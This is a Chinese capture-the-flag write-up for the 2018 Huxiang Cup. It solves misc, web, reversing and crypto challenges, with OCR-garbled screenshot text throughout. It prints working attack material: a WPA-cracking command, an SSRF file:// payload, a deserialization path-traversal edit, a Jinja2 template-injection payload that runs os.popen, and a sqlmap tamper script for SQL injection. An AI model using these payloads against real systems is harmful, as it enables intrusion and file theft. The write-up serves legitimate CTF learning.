2018湖湘杯writeup



1. 题目名MISC Disk

解题思路、相关代码和Flag截图:

010Editor下查看, flag is not here分析a.d.s后二进制,提取出来,发现

ry	pto.	exe		ctf	-fla	t.v	n dk	×									
1: -	十六	进制	(Ю)	~	运行	脚本	\sim	运	行模	板~	'						
													ç	Ď	Ę		0123456789ABCDEF
	66	6C	61	67	20	69	73	20	6E	6F	74	20	68	65	72	65	flag is not here
	2E	00	00	00	00	00	00	00	80	00	00	00	38	00	00	00	€8
	00	03	18	00	00	00	04	00	11	00	00	00	20	00	00	00	
	61	00	64	00	73	00	00	00	01	10	01	10	01	10	11	00	a.d.s
	01	10	00	01	01	10	01	11	01	00	00	00	00	00	00	00	·····
	FF	FF	FF	FF	82	79	47	11	00	00	00	00	00	00	00	00	ÿÿÿÿ,yG
	00	00	00	00	00	00	00	00		00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	05	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

第一块出来flag字样,后面拼接放入convert,解出后面字段。

Converter		
件 复制/粘贴 过	过滤器 格式 统计	・工具・扩展
++ 12 '+ TZ		输入(原始值):
转换选坝		0111101100110100010001000101001101011111
Text to Hex	Hex to Text	1111101000100001100011001101010101010101
Dec to Hex	Hex to Dec	
Text to Dec	Dec to Text	
Dec to Octal	Octal to Dec	
Text to UTF7	UTF7 to Text	
Hex to UCS2	UCS2 to Hex	
Text to Binary	Binary to Text	
Escape	Unescape	
Encode HTML	Decode HTML	
Text to Base64	Base64 to Text	
Hex to Base64	Base64 to Hex	
	1 2 行	{4DS_1n_D1sk}
提	EQ I	
	2 位署	
ディンク		
开始位置		
Sw	/ap	
1 字符.所有	2 位置	
开始位置	1 循环 1	
将输出复制	间到剪贴板	
复制输出	出到输入	
全部	清除	
	-	

得出flag{4DS_1n_D1sk}

1. 题目名MISC FLOW

解题思路、相关代码和Flag截图:

解题思路原理:



1.aircrack-ng ctf.pcap -w mima.txt跑出密码password1

<pre>rootgkali:~/Desktop# ls 02.jpg ctf.pcap curl rootgkali:~/Desktop# air Opening ctf.pcap Read 13712 packets.</pre>	mima.txt output22 twowuk crack-ng ctf.pcap -w mima.	ong.jpg.png txt	
# BSSID	ESSID	Encryption	
1 02:EC:0A:5E:BE:6B	ctf	WPA (1 handshake)	
Choosing first network a	ns target.		
Opening ctf.pcap Reading packets, please	wait		
	Aircrack-ng 1.2 r	c4	
[00:00:00] 1/0 key	/s tested (33.71 k/s)		
Time left: 0 secon	ıds	inf%	
	KEY FOUND! [password1	1	
Master Key : 7 F	7E B8 91 EC 5B 1F 1D C9 32 FD 7A CC 88 79 ED AD 09 EE	63 D8 83 79 1D 36 C8 9F 80 07 1A 23 4D B7	
Transient Key : 4 E	E 3F 13 EE 1D D0 FC 1A BB 6 47 40 CF 08 70 87 ED 46	BC 62 11 0B 40 2C 7B B4 C1 48 6F D9 1A 24	https://blog.csdn.net/lycnjupt

2.airdecap-ng ctf.pcap -e ctf -p password1 ESSID为CTF, 输出ctf-dec.pcap

搜索flag得到答案

ctf-dec.pcap					Sprin Programme 1 1	Concernance of the second		
又件(上) 编辑(上	:) 视图(V) 跳转(G) 捕			既(W) ⊥具(⊥) 帮助(□) □				
	📙 🔚 🗙 🖾 । ९. 🗢		ଇ୍ପ୍ ଇ୍	壁				
[] 应用显示过滤	器 … 〈Ctrl-/〉							
分组字书	市流 ▼	▼ 🔲 区分大小写	字符串	Wireshark · Request URI Q	uery Parameter (http.reques	st.uri.query.parameter) · ctf	-dec	
No.	Time	Source	a					
237	11.687615	192.168.43.86	1	<pre>search=flag{H4lf_1s_</pre>	_3n0ugh}			
238	11.687615	192.168.43.86	1					
239	11.773123	192.168.43.1	1					
240	11.776191	192.168.43.86	1					
241	11.777733	192.168.43.1	1					
242	11.781824	192.168.43.86	1					
243	11.812610	192.168.43.1	1					
244	11.815679	192.168.43.86	1					
245	11.815680	192.168.43.86	1					
246	11.821315	192.168.43.1	1					
247	11.859203	101.200.172.135	1					
248	11.860735	192.168.43.86	1					
	11.001240	192.168.43.66	1					
1 CET /2	11 8/45h/		D /1 1) m					
	earch/rsearch=tiag(n41T_IS_Snough} nife						
P [EXP	ert Into (Chat/Sequ	ience): GET /Search/	rsearch					
4 Rogu	est Heliou. dli lest HRT: /seench/)a	oonch-flog/H41f 1c	3nQugh					
= Kequ	aquast HRT Path, /s	earch/	Juougin					
A R	equest URI Querv: s	earch=flag{H4lf 1s ∃	3nQugh }					
- 10	Request LIRT Query. S	Parameter: search=f	lag{H41					
•	nequese one query	rarameter, search i	TOBUILT	@ 249, Request URI Query Parame	ter (http. request. uri. query. parau	neter), 27 字书。		
0040 69 3	£ 2£ 72 6E 61 72 62	69 24 66 6c 61 67	7h 49	解码为 [无 显示)	ASCII -			
0040 00 2	r 5T 75 05 01 72 05 c 66 5f 31 73 5f 33	60 30 00 0C 01 07	70 40 20 48	查找:				
0060 54 54	4 50 2f 31 2e 31 0d	0a 48 6f 73 74 3a	20 73					+TEO
0070 65 6	1 72 63 68 2e 66 72	65 65 62 75 66 2e	63 6f					11/1
0080 6d 0	d 0a 55 73 65 72 2d	41 67 65 6e 74 3a	20 4d	moser- Agent: m				
0090 6f 7	a 69 6c 6c 61 2f 35	2e 30 20 28 57 69	6e 64	ozilla/5 .0 (Wind				
() 2018	"湖湘杯"网络安全 ×	😤 802.11数据包分析	fictf free >	< III CTEL 吃个鸡,————————————————————————————————————	破結果 👻 🔽 Sign in	n - Progressus Boo X	CTF misc之流量分析	(顕奈) 🗙 🔽
^	(+) () +	nxb.erangelab.com/inde	ex		and the sign in	C		
^		nxb.erangelab.com/inde	ex Dom	hand the second se		C.		
 金常访问 	 () 	ixb.erangelab.com/inde 刻平台 🍠 安恒杯6月月	ex 赛大神直	. 🗘 ::TEAM L:: 🖉 Wha	leCTF 🔮 安全重于泰山	ල ¹⁰⁰ BugkuCTF - 练习픽		网络 📎 New
 ▲ ▲ ▲ 第 1 1	 ① I ● 新手上路 ④ xìt/3 	xb.erangelab.com/inde 刻平台 € 安恒杯6月月	ex 赛大神直	. 🤃 ::TEAM L: 🎺 Wha	leCTF 🔮 安全重于泰山	ල් W ²⁰ BugkuCTF - 练习직		网络 📎 New
▲ 全部	 ① I ③ 新手上路 ③ xìt/x 	ixb.erangelab.com/inde 刻平台 🗾 安恒杯6月月	ex 赛大神直	0- ::TEAM L:: 🖉 Wha	leCTF 🕜 安全重于泰山	ල ¹⁰⁰ BugkuCTF - 练习刊		网络 😒 New
▲ 最常访问	 ① I ● 新手上路 ● 秋日 	ixb.erangelab.com/inde 创平台 ■ 安恒杯6月月	ex 赛大神直	. 🥵 ::TEAM L:: 🎺 Wha	leCTF 💣 安全重于泰山	ල ⁽²⁰ BugkuCTF - 练习직		网络 �ww
	 ① I ● 新手上路 ● 秋日 	ixb.erangelab.com/inde 创平台 ■ 安恒杯6月月	ex 赛大神直	. 🥵 ::TEAM L:: 🖉 Wha	leCTF 💣 安全重于泰山	ල 🕅 BugkuCTF - 练习직		网络 �ww
▲ 最常访问	◆① Hitre ● 新手上路 ● 翻上手術 ●	xxb.erangelab.com/inde 创平台 ■ 安恒杯6月月	ex 赛大神直	. 🥵 ::TEAM L:: 🖉 Wha	leCTF 💣 安全重于泰山	ල BugkuCTF - 练习되	 	网络 �ww
 余 ② 最常访问 	 (一) ((-) ((-)	xb.erangelab.com/inde 刻平台 ■ 安恒杯6月月 150	ex 赛大神直		leCTF 《安全重于泰山	ල 영 BugkuCTF - 练习픽	 ◎ Q. 搜索 PA ⑦ 网络安全实验室 	网络 �ww
▲ 最常访问	 ① H ① 新手上路 	xb.erangelab.com/inde 创平台 I 安恒杯6月月 150	ex 赛大神直	G ::TEAM L: Wha	leCTF 《 安全重于泰山	년 (연 BugkuCTF - 练习위	 ● Q. 搜索 ● P台 ⑦ 网络安全实验室 	网络 《 New
▲ 最常访问	 ① II ③ 新手上路 ④ 組 	xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 150	ex 赛大神直	G ::TEAM L: Wha	leCTF 🔮 安全重于泰山 MISC	ල ^{(24]} BugkuCTF - 练习픽	● Q. 搜索 野台 ⑦ 网络安全实验室	网络 《 New
▲ 最常访问	 ① I ③ 新手上路 ④ x社 	xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 150 Xm	ex 赛大神直	G ::TEAM L: Wha	leCTF 🔮 安全重于泰山 MISC	ල ^{(24]} BugkuCTF - 练习과 Flow	 	网络 ≪New
▲ 最常访问	 ① H ● 新手上路 ● 秋计 	xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 15 Xm W	ex 赛大神直	G ::TEAM L: Wha	leCTF	♂ ¹ ² BugkuCTF - 练习平 Flow	 	网络 《 New
▲ 常访问	 ① H ● 新手上路 ● x社 	xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 150 Xm W	ex 赛大神直	:TEAM L: . Wha	leCTF	♂ ¹ ²⁰ BugkuCTF - 练习 1 5 Flow	 	网络 ∾New
▲ 最常访问	 ① H ① 新手上路 ③ 新手上路 	xb.erangelab.com/inde 刻平台 I 安恒杯6月月 150 Xm W	ex 赛大神直 分值:	4. ① ::TEAM L:: 《 Wha 200 类型: MISC	leCTF d g全重于泰山 MISC	♂ ⁽²⁴ BugkuCTF - 练习平 C Flow	 ● Q. 搜索 ● P台 ⑦ 网络安全实验室[网络 《 New
▲ 最常访问	 ① H ● 新手上路 ● x计 	xb.erangelab.com/inde 刻平台 I 安恒杯6月月 15 Xm W	ex 赛大神直 分值:	. ① ::TEAM L:: 《 Wha 200 类型 : MISC	leCTF d g全重于泰山 MISC	☐ C ^a W ^a BugkuCTF - 练习平 Flow	 	网络 Son New
▲ 最常访问	 ① H ● 新手上路 ● x计 	xb.erangelab.com/inde 刻平台 ■ 安恒杯6月月 150 Xm W	ex 赛大神直 分值: 题目:	· ① ::TEAM L:: ● Wha 200 类型: MISC 流量取证,这个流量€	leCTF d 安全重于泰山 MISC 已經沖 ① 答题正确	☐ C ^a W ^a BugkuCTF - 练习 Flow	 	网络 ∾New
▲ 最常访问	 ① I 新手上路 	nxb.erangelab.com/inde 別平台 ISC Xm W	ex 赛大神直 分值: 题目:	 ① ::TEAM L:: ● Wha 200 类型:MISC 流量取证,这个流量€ 	leCTF d 安全重于泰山 MISC 戸経沖 (i) 答题正确	⊂ [™] BugkuCTF - 练习 C Flow	 ○ ○ (2, 提索 FA ⑦ 网络安全实验室 	网络 ↔New
▲ 最常访问	 ① I ① 新手上路 ③ 新手上路 	xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 工工 工工 工工 20	ex 赛大神直 分值: 题目:	200 类型:MISC 流星取证,这个流量€ http://hxb2018.oss-	leCTF d g全重于泰山 MISC 戸經沖 (i) 答题正确	⊂ [™] BugkuCTF - 练习 C Flow	 	网络 《 New
 ▲ ▲ 第 1 1	 ① I 新手上路 ③ 新手上路 	xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 15 Xm W	ex 赛大神直 分值: 题目:	200 类型:MISC 流量取证,这个流量€ http://hxb2018.oss- 6803.zip	leCTF	☐ ⁽²⁴ BugkuCTF - 练习 C Flow 确定	 	网络 《 New
 ▲ ▲ 第 1 1	 ① E ① 新手上路 ③ 新手上路 ③ ホナリ 	xb.erangelab.com/inde 刻平台 記 安恒杯6月月 150 Xm W	ex 蹇大神直 分值: 题目:	 ① ::TEAM L:: ● What 200 类型: MISC 流量取证,这个流量€ http://hxb2018.oss-6803.zip 	leCTF	☐ ⁽²⁴⁾ BugkuCTF - 练习平 C Flow 确定	 	网络 Son New
▲ 最常访问	 ① E ① 新手上路 ③ 新手上路 ④ ホート 	xb.erangelab.com/inde 刻平台 記 安恒杯6月月 150 Xm W 20 Di	ex 赛大神直 分值: 题目:	200 类型:MISC 流量取证,这个流量€ http://hxb2018.oss- 6803.zip	leCTF	⁽²⁾ BugkuCTF - 练习 Flow 确定	 	网络 《 New
 ▲ ▲ 第 1 1	 ① I ① 新手上路 ③ 新手上路 ③ 小山 	xb.erangelab.com/inde 刻平台 記 安恒杯6月月 150 Xm W 20 Di	ex 赛大神直 分值: 题目: Flag:	200 类型:MISC 流量取证,这个流量专 http://hxb2018.oss- 6803.zip flag{H4lf_1s_3n0ug	leCTF	⁽²⁾ ⁽²	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 1 1	 ① I ① 新手上路 ③ 新手上路 ③ 小山 	xb.erangelab.com/inde 刻平台 ■ 安恒杯6月月 150 Xm W 20 Di MI	ex 赛大神直 分值: 题目: Flag:	200 类型:MISC 流星取证,这个流星é http://hxb2018.oss- 6803.zip flag{H4lf_1s_3n0ug	leCTF	⁽²⁾ ⁽²	 	网络 《 New 502F722E 提交
▲ 最常访问	 ① I 新手上路 ③ 新手上路 	xb.erangelab.com/inde 刻平台 ■ 安恒杯6月月 150 Xm W 20 Di MI	ex 赛大神直 分值: 题目: Flag:	200 类型:MISC 流星取证,这个流量结 http://hxb2018.oss- 6803.zip flag{H4lf_1s_3n0ug	leCTF	愛 BugkuCTF - 练习平 Flow 确定	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 1 1		xb.erangelab.com/inde 刻平台 ■ 安恒杯6月月 150 Xm W 20 Di MI	ex 赛大神直 分值: 题目: Flag:	. ① ::TEAM L:: ● Wha 200 类型: MISC 流星取证,这个流量作 http://hxb2018.oss- 6803.zip flag{H4If_1s_3nOug	leCTF	☐ C ^e W ^{ag} BugkuCTF - 练习平 CFlow	 	网络 《 New 502F722E 提交
▲ 最常访问		xb.erangelab.com/indo 刻平台 ■ 安恒杯6月月 15 Xm W 20 Di MI	ex 赛大神直 分值: 题目: Flag:	 ① ::TEAM L:: What ② 类型: MISC 流量取证,这个流量を http://hxb2018.oss-6803.zip flag{H4If_1s_3n0ug 	leCTF	☐ ⁽²⁴⁾ BugkuCTF - 练习 CFlow 确定	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 1 1		xb.erangelab.com/indo 刻平台 ■ 安恒杯6月月 15 Xm W 20 Di MI	ex 赛大神直 穷值: 题目: Flag:	 ① ::TEAM L:: ● Wha ② 类型: MISC 流量取证,这个流量を http://hxb2018.oss-6803.zip flag{H4If_1s_3n0ug 	leCTF	☐ ⁽²⁾ BugkuCTF - 练习 C Flow 确定	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 1 1		xb.erangelab.com/indo 刻平台 ■ 安恒杯6月月; 15 Xm W 20 Di MI	ex 赛大神直 奈值: 题目: Flag:	 ① ::TEAM L:: ● Wha ② 类型: MISC 流量取证,这个流量を http://hxb2018.oss-6803.zip flag{H4lf_1s_3n0ug 	leCTF	☐ @ BugkuCTF - 练习平	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 1 1		xb.erangelab.com/inde 刻平台 20 Di MI	ex 蹇大神直 穷值: 题目: Flag:	 ① ::TEAM L:: ● What ② 类型: MISC 流量取证,这个流量€ http://hxb2018.oss-6803.zip flag{H4If_1s_3n0ug 	leCTF	☐ C ^a W ^a BugkuCTF - 练习平 CFlow 确定	 	网络 《 New 502F722E 提交
▲ 最常访问	 新手上路 秋计 	xb.erangelab.com/inde 刻平台 記 安恒杯6月月 150 Xm W 200 Di MI	ex 赛大神直 穷值: 题目: Flag:	 ① ::TEAM L:: What ② 类型: MISC 流量取证,这个流量を http://hxb2018.oss-6803.zip flag{H4If_1s_3n0ug 	leCTF	☐ C ^a W ^a BugkuCTF - 练习平 CFlow	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 5 6 7 7 8 7 8 7 8 8 7 8 8 8 8 8 9 8 8 9 8 9 8 8 9 8 8 9 9	 ④ 計手上路 ● 計手上路 ● ホナナ 	xb.erangelab.com/inde 刻平台 ■ 安恒杯6月月 150 Xm W 200 Di MI	ex 赛大神直 穷值: 题目: Flag:	 ① ::TEAM L:: What ② 类型: MISC 流星取证,这个流量を http://hxb2018.oss-6803.zip flag{H4If_1s_3n0ug 	leCTF	☐ C ^a W ^a BugkuCTF - 练习平 CFlow	 	网络 《 New 502F722E 提交
 ▲ ▲ 第 1 1		xb.erangelab.com/inde 创平台 ■ 安恒杯6月月 150 Xm W 20 Di MI	ex 赛大神直 分值: 题目: Flag:	 ① ::TEAM L:: What ② 类型: MISC 流星取证,这个流星を http://hxb2018.oss-6803.zip flag{H4If_1s_3n0ug 	leCTF d g全重于泰山 MISC 戸盤井 (〕 答题正确 h}	☐ @ BugkuCTF - 练习平 C Flow	 	网络 ↔ New

1. 题目名Read flag

解题思路、相关代码和Flag截图:

访问显示;ssrf me with parameter 'url',因此需要构造url=?,通过分析ssrf漏洞发现该服务器对协议没有限制,使用bp爆破,发现可以用file协议。

构造payload: http://47.107.237.27/?url=file:///var/www/html/ssrf/flag

2018 湖州時代 网络安王汉 ▲ SST_日度接张 ▲ CA 法谈SSKF漏洞 - Nanrei - ■ 4/.10/.23/.2//(Url=Tile:///Var/ ▲ 十
 ① 47.107.237.27/?url=file:///var/www/html/ssrf/flag
 ② 最常访问 ● 新手上路 ④ x计划平台 ■ 安恒杯6月月赛大神直... ↓ ::TEAM L:: ● WhaleCTF ● 安全重于泰山 ¹⁰⁰ BugkuCTF - 练习平台 ● 网络安全实验室网络 hxb2018{0ef0c0d15f1a11b47af2a01669fbf124}

https://blog.csdn.net/lycnjupt

1. 题目名MyNote

解题思路、相关代码和Flag截图:

注册登录账号,上传图片,抓包,发现Picture=经过base64解码为反序列化字符串,修改其中的上传图片 11.jpg,可以读取到flag



改a:1:{i:0;s:6:"11.jpg";}为a:1:{i:0;s:36:"../../../var/www/html/flag.php";},读取flag,转base64提交

2	Burp Suite Pro	ofession	al v1.7.26	- Tempora	ary Project	 licensed to 	Larry_Lau	- Unlimited	d by mxcx(@tosec.vn			_				
Ē	Burp Intruder Rep	peater W	/indow He	lp													
	Target Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts					
	1 × 2 × 3	× 4	×														
	Go Ca	ancel	< •	> •	Follow r	edirection								Target:	http://120.78	3.215.151	
	Request									Response							
L	Raw Params	Header	s Hex							Raw Headers	Hex						
GF Hc US Ge Ac Re Cc Cc UP Cc UP Cc	<pre>ST /index.php Sost: 120.78.2 ser-Agent: Mo ecto/20100101 ccept: Lext/h ccept-Languag ferer: http: postie: Pictur HPSESSID=4055 sonnection: c1 ache-Control:</pre>	<pre>/pictum l5.151 zillay' Firefo tml,app e: zh-0 //100 e=YTox(g5i7c55 ose max-aq max-aq</pre>	<pre>re HTTP/ 5.0 (Win xx/56.0 blicatio: Nx,zh;q= 28.215.1 bntp0jA7 bnjk8shu uests: 1 pe=0</pre>	l.l dows NT 6 n/xhtml+; 0.8,en-US <u>Sl/index</u> zo20iIxh zf9dbs11	i.l; Win64 ml,appli: ;;=0.5,er <u>php(note</u> <u>SSSqcGci0</u> :	l; x64; rv; ation/xml, h;q=0.3	:56.0)	*;q=0.8	H D S B C C C C C C C	TTP/1.1 302 F ate: Sun, 18 erver: Apache xpires: Thu, ache-Control: ragma: no-cac ocation: logi ontent-Length onnection: cl ontent-Type:	<pre>'ound Now 2018 08 //2.4.29 (Ub 19 Now 1981 no-store, the n : 0 .055 text/html;</pre>	:20:52 untu) 08:52: no-cach charset	GMT 00 GMT e, must-r =UTF-8	evalidate			
																	cnjupi

得到Base64内容,解密得出来flag



1. 题目名web XmeO

解题思路、相关代码和Flag截图:

尝试登录admin 密码admin登录成功, add添加如下payload, 点击show出flag

{{												
""·_	_class_	·	_mro_		_getitem_	_(2)	_subclasses_	_().pop(59)	_init_	func	_globals.get('linecache').c	os.popei
/ho	ome/Xme	eO/t	est.db	').re	ead() }}							
•								11				- F

24110									
	1	(←) ◆ ① 47.106.85.50.9990	C	8	Q. 搜索		- 9	F+ D	-
	新手上	路 🕜 x计划平台 🗐 安恒杯6月月赛大神直… 🗘 #TEAM L: 🖗 WhaleCTF 💣 安全重于泰山 🏁 BugkuCT	F - 练习平台	a	网络安全实验室	网络 📎 🕪	lews - Jarvis OJ 🕷	CTF中常见的PHP知	u
	0	progressus			ore Pages 👻	Contact	Logout	gn in / Sign up	
	No	描述				是否完成	创建时间	操作	
	1	<pre>{{ ""classmrogetitem(2)subclasses().pop(59)initfunc_globa /home/XmeO/test.db').read() }}</pre>	als.get('lir	necad	he').os.pope	0 en('Is	1542530567.78	Edit show	
	2	hellww				1	1542530658.58	Delete	
	3	sasa				1	1542530674.41	Delete	



https://blog.csdn.net/lycnjupt

1. 题目名Hidden Write

解题思路、相关代码和Flag截图:

首先使用010editor分离出三张图片,使用zsteg,解出部分flag,https://github.com/zed-0xff/zsteg



在使用BlindWaterMark-master提取盲水印图片,

https://github.com/chishaxie/BlindWaterMark



拼接出flag:hxb2018{b03bca1dbca1662e632ffa5bbefe4a50}

1. 题目名Replace

解题思路、相关代码和Flag截图:

发现题目有壳:

We PEiD v0.95		
文件: D:\Users\LI\Desktop\Replace_F	321DA8B2F172C	13764989DF0F99 🕅份
入口点: 200071220	EP 段:	UPX1 >
文件偏移: 20001120	首字节:	50, BE, 00, 70 🛛 🔀
连接器版本: 12.0	子系统:	Win32 console >
PESniffer: UPX v0.89.6 = v1.02 / v1.	05 - v1.22	\sim
PEiDDSCAN: UPX 0.89.6 - 1.02 / 1.05	- 2.90 -≻ Ma	rkus & Laszlo 🛛 >
多文件扫描(M) 查看进程(T)	扩展信息	1. 插件
✓ 总在最前 (S) 送项 (D)	关于创	Cadnu(EV)退出(UP):

使用kali下的upx脱壳工具脱壳

使用IDA打开程序发现关键代码check函数, check函数返回值为1, 即可得。

在IDA中找到关键的d1和d2,值为下图。

-rdata:00402125 .rdata:00402134 .rdata:00402134 .rdata:00402134 .rdata:00402134 .rdata:00402151 .rdata:00402150 .rdata:00402152 .rdata:00402152 .rdata:00402162 .rdata:00402163 .rdata:00402163 .rdata:00402164 .rdata:00402164 .rdata:00402165 .rdata:00402165 .rdata:00402165 .rdata:00402165 .rdata:00402166 .rdata:00402166 .rdata:00402166 .rdata:00402168 .rdata:00402168 .rdata:00402168	aWellDone ; char aYourW aYourWrong byte_402150 byte_402151 a49fō9c38395cc	align 4 db 'Well Done?', @ rong[] db 'Your Wrong?', alion 10h db 32h db 61h db '49f69c38395cd db 'ae6', 0 align 10h db 63h db 7Ch ; db 7Ch ; db 7Ch ; & db 0F2h ; & db 0F2h ; & db 06h ; & db 06h ; & db 30h ; 0 db 1 db 67h ; g db 2Bh ; +	<pre>3Ah,0 ; DATA XREF: _main+62îo ,0Ah,0 ; DATA XREF: _main:loc_401069îo ; DATA XREF: sub_401090:loc_40100CCîr ; DATA XREF: sub_401090:loc_4010E9îr Je96d6de96d6f4e025484954d6195448def6e2dad67786e ; DATA XREF: sub_401090+82îr d2</pre>	d1 21d5ad '	•
00000FA3 000000000	04021A3: .rdata:	004021A3			Ŧ

https://blog.csdn.net/lycnjupt



https://blog.csdn.net/lycnjupt

脚本运行结果如下:

🛓 Python 2.7.11 Shell 🔤 🔛	🙀 code_v3.py - C:/Users/Administrator/Desktop/CTF题目/2018潮湘杯/code_v3.py
File Edit Shell Debug Options Window Help	File Edit Format Run Options Window Help
AMD64)] on win32 Type "copyright", "credits" or "license()" for more information. === EESTART: C:/Users/Administrator/Desktop/CTP語目/2018漸測杯/code_v3.py ==== 1 1 1 1 1 1 1 1 1 1 1 1 1	<pre>The Condition for the set of the set of</pre>
Ln: 40 Col: 4	Ln: 28 (

1. 题目名: Common Crypto

解题思路、相关代码和Flag截图:

题目需要输入一个flag,然后一个字符串比较验证,动态调试跟进第一个sub_140001000函数,发现里面进行这一 些赋值的操作,而且调用了一个数组,发现是一个aes盒,确定是AES加密

		📑 IDA 浏览-A 🔀 📑 字符8	串窗口 🗵 🛛 🖸 Hex 浏览-1 🗵 🗍 🖪	结构体 🗵 📘 校举 🗵 🕅	🏽 输入表 区 📝 导出表 区
	Locals ^		.rdata:004020F8 off_4020F8	dd offset dword_403038 ; DATA	XREF:report_gsfailure+ED1o
084	0000034		.rdata:004020FC	dd offset dword_403088	
1048	0000004		.rdata:00402100 ; char Format[]		new upper it and
100F	0000004		.rdata:00402100 Format	db 'Welcome The System', WAh ;	DATA XREF: _main+2810
)165	0000030		.rdata:00402100	dD 'Please input key:',0	
000A	E		.ruata:00402125	diign 4	VDEE. print 60 ^t e
003D	00000004		.ruala:00402128 dwellDune	ub well bonet,ohn,o ; bhih	VREL: THATH+0510
OFB	00000328		.rudid.00402134 , tildr dfuurwru	db 'Your Wrongt' 80b 8 - DOTO	VPEE: main:loc.k0106010
040	0000004		rdata:00402104 arour wrong	align 10b	ANEFHain.100_40100910
)006		•	rdata:00402141	db 32b · DATA	XREE: sub 401090:loc 4010001r
)006		•	rdata:00402151 bute 402151	db 61b : DATA	XREF: sub_401090:10c_4010E91r
)043	0000010	•	.rdata:00402152 a49f69c38395cde	db '49F69c38395cde96d6de96d6F4	e825484954d6195448def6e2dad67786e21d5ad'
)0BA	0000002C		.rdata:00402152	db 'ae6'.0	
)031	0000004	•	.rdata:00402197	align 10h	
)09C	0000020	•	.rdata:004021A0 byte 4021A0	db 63h ; DATA	XREF: sub 401090+821r
)003		•	.rdata:004021A1	db 7Ch ;	—
)0A9	0000038	•	.rdata:004021A2	db 77h ; w	
)015	0000004	•	.rdata:004021A3	db 7Bh ; {	
0020	0000008	•	.rdata:004021A4	db 0F2h ;	
1020	0000008	•	.rdata:004021A5	db 6Bh ; k	
1006	- III - F	•	.rdata:004021A6	db 6Fh ; 0	
37			00000F41 000000000402141: .rdata:0	0402141	

发现字符和49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad677 86e21d5ad比较,可以确定,此段就是我们要找的key,直接解密待比较的字符串的前32个字节即可



得到flag: hxb2018{3d39929451ee66ab1658c073}放到程序里面验证正确:



1. 题目名 code check

首页公告链接:

http://39.108.176.234:49882/news/list.php?id=b3FCRU5iOU9lemZYc1JQSkY0WG5JZz09怀疑存在注入,id有加密

http://39.108.176.234:49882/news/目录下存在: list.zip, 里面有id的加密

skto	p\lis	t.php - EditPlus
视日	≣(⊻)	搜索(S) 文档(D) 工程(P) 工具(D) 浏览器(B) Zen Coding(Z) 窗口(W) 帮助(H)
	ABC	0 / K ⊨ (x) ⊂ (2 to R + L A IN W = M / I
	nb	
		+1+2++3++5++6+8++9++0++2++2++3++6++6++
ъP	1	k 2php
•	2	header('content-type:text/html;charset=utf-8');
ΞI.	3	require_once'/config.pnp';
	4	
all.	2	Indiction accode (adda) {
	7	a dout - morphy induce open(morrer kinned_inter, morrer induced,); morphy denovid initiation (where Denovember 2012) (10192010201011);
	é	workput generic intervet, yundergiezadotado ; bizerás decode (zata)));
- 1	9	<pre>w more general denit(std):</pre>
	10	merryot module close(std):
	11	<pre>if(substr(trim(sdata)1)'=='hxb2018'){</pre>
	12	<pre>» * echo.'<script>window.location.href="/index.php";</script>';</pre>
-	13	» }else{
	14	» return substr(trim(\$data),0,strlen(trim(\$data))-7);
	15	» }
	16	}
	17	<pre>\$id=decode (\$_GET['id']);</pre>
	18	<pre>\$sql="select-id,title,content,time-from-notice-where-id=\$id";</pre>
	19	<pre>\$info=\$link->query(\$sql);</pre>
	20	<pre>\$arr=\$info->fetch_assoc();</pre>
	21	2>
	22	<pre><!--DOCIYE.html--> </pre>
	23	<pre>chout:riang= en ></pre>
	25	Nicol/ /mata.charpet="IITE_0"N
	26	chile XA da RA SAVI (///title>
	27	<pre>style>.body(width:600x:height:500px:margin:0-auto).title(color:red:height:60px:line-height:60px:font-size:30px:font-weight:700:margin-top:75pt:border-bottom:2px.</pre>
		solid red:text-align:center).content.title(margin:0
		auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}
	28	
	29	 kbody>
	30	<div-class="body"></div-class="body">
	31	<div-class="title">??php-echo-\$arr['title']?></div-class="title">
	32	<pre><div class="content"><?php -echo -\$arr['content']?></div></pre>
	33	
-	34	https://blog.csdp.net/vcpiuot

加密方法为先AES,再两次base64

编写tamper

_	
	idaesencode.py ×
	import base64 from Crypta Cipher import AES
	from lib.core.enums import PRIORITY
	<pre>from lib.core.settings import UNICODE_ENCODING</pre>
	priority = PRIORITY.LOW
	<pre>def dependencies():</pre>
	pass
	def tamper(payLoad,**kwargs):
	return aes('ydhaqPQnexoaDuW3','2018201920202021',payload+'hxb2018')
	<pre>def aes(key,iv,text):</pre>
	<pre>obj = AES.new(key,AES.MODE_CBC,iv) count = len(text)</pre>
	add = 16 - <u>(</u> count <u>%</u> 16 <u>)</u>
	text = text + ('\0'*add) aesRes = obj encrypt(text)
	return base64.b64encode(base64.b64encode(aesRes)) https://blog.csdn.net/lycnjupt

sqlmap注入得到flag:hxb2018{14ef3bd9a833a50b7ae24bbb0e4d57c8}



